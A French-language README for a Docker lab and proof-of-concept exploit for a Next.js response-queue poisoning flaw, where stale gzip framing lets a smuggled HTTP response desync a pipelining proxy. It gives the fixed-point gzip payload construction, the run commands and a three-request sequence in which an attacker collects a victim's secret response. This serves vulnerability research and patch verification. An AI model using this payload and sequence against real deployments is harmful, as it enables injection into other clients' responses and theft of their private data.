
Docker dual-lab et PoC différentiel autonome pour CVE-2026-119348, une faille d'empoisonnement de file de réponses par cadrage compressé obsolète dans Next.js auto-hébergé.
GHSA : GHSA-pc58-hwjq-p385
CVSS 4.0 : 6.3 (Modéré) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N
Produit : Vercel Next.js (next), auto-hébergé (next start)
Ce dépôt contient une reproduction complète et déterministe (lab docker + exploit autonome) de la vulnérabilité d'injection et de divulgation de réponses entre clients corrigée dans la version de sécurité de Next.js de novembre 2026. Aucun PoC public n'existait au moment de la construction de ce lab (vérifié le 2026-11-20 : recherche de dépôts/code GitHub pour les identifiants CVE et GHSA → 0 résultat).
Le fetch de Node (undici) décompresse de manière transparente un corps
content-encoding: gzip mais conserve les en-têtes de réponse d'origine, y compris
content-length: <compressed-size>. Lorsqu'une application Next.js auto-hébergée renvoie
un tel Response amont récupéré inchangé — depuis un gestionnaire de route App
Router, une entrée de cache fetch, ou un middleware Node-runtime — les versions
vulnérables de Next transmettent le cadrage compressé obsolète au client tout en
diffusant le corps décompressé, plus long :
HTTP/1.1 200 OK
content-encoding: gzip ← forwarded
content-length: 70 ← framing of the COMPRESSED body (stale)
← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
└─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘
Node.js écrit des octets de corps au-delà du Content-Length déclaré sans aucune erreur et maintient
la connexion keep-alive ouverte. Tout proxy inverse HTTP/1.1 qui met en file d'attente les requêtes pipelinées
sur une connexion backend partagée (la précondition nommée par l'avis — par ex. HAProxy
http-reuse always, divers proxys basés sur Node.js) démultiplexe les réponses backend strictement
selon le framing déclaré. Les octets de débordement sont donc analysés comme la réponse suivante dans
la file d'attente :
| Branche | Vulnérable | Corrigée |
|---|---|---|
| 16.x (Active LTS) | >= 16.0.0, <= 16.4.4 | 16.4.5 |
| 15.x (Maintenance LTS) | <= 15.5.28 | 15.5.29 |
Dans vercel/next.js au tag v16.4.4 :
packages/next/src/server/send-response.ts:24-70 — sendResponse() ajoute chaque
en-tête du Response du handler (seul x-middleware-set-cookie est ignoré) puis
transmet le corps décodé. Les en-têtes content-length / content-encoding /
transfer-encoding transmis décrivent le corps encodé qu'undici a déjà décodé.packages/next/src/server/next-server.ts:2009-2012 — la boucle de réponse du middleware n'ignore
que content-encoding, en copiant toujours les content-length /
transfer-encoding obsolètes.packages/next/src/server/web/sandbox/sandbox.ts:23)
supprimait déjà ces trois en-têtes — la faille se trouvait dans les chemins du runtime Node.Correctif (v16.4.5, commit
2842833,
15.x : 848ec29) :
les deux chemins de transmission suppriment désormais content-length, content-encoding et transfer-encoding
(FORBIDDEN_HEADERS), de sorte que Node.js encadre correctement le corps décodé avec
transfer-encoding: chunked.
next start) — non affecté sur la plateforme Vercel.Response récupéré et influencé par l'attaquant (tout
modèle de transmission/relais : return fetch(url)), directement ou via le cache fetch.Aucune authentification, aucune interaction utilisateur.
lab/
├── app/ # the victim Next.js app (source shared by both stacks)
│ └── app/
│ ├── proxy/route.ts # GET /proxy?u=<url> → return fetch(u, {cache:'no-store'})
│ ├── proxy-cached/route.ts # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│ ├── api/secret/route.ts # victim's private JSON (user alice + VICTIM_SECRET…)
│ └── page.tsx # home page (HOME-PAGE-MARKER)
├── upstream/server.py # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml # project cvelab_cve-2026-119348_vuln → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/ # node-level experiments backing the analysis
La charge utile malveillante en amont (lab/upstream/server.py) : P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected"
avec n choisi de sorte que n == len(gzip(P)) (un point fixe, n = 70 ici, décodé = 116 B).
L'application émet donc une réponse dont le Content-Length: 70 déclaré ne couvre que le préfixe
A, et les 46 octets de fin constituent une réponse HTTP forgée entièrement formée.
# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh
# 2. run the exploit against both
python3 poc.py \
--url http://127.0.0.1:8080 \ # proxy → VULNERABLE app (16.4.4)
--fixed-url http://127.0.0.1:8081 \ # proxy → PATCHED app (16.4.5)
--upstream http://127.0.0.1:9099 \ # attacker origin (host-mapped port of lab/upstream)
--next-url http://127.0.0.1:3000 \ # optional: direct app framing probe
--next-fixed-url http://127.0.0.1:3001 \
--out poc_result.json
# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.
# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy
poc.py est autonome (Python 3, bibliothèque standard uniquement). Chaque tour met en file d'attente trois requêtes
sur la connexion backend partagée :
#1 attacker GET /proxy?u=…/gzip?delay=0.4 ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim GET /api/secret (Cookie: session=victim-alice-7f3a9c)
#3 attacker GET / ← collects the displaced response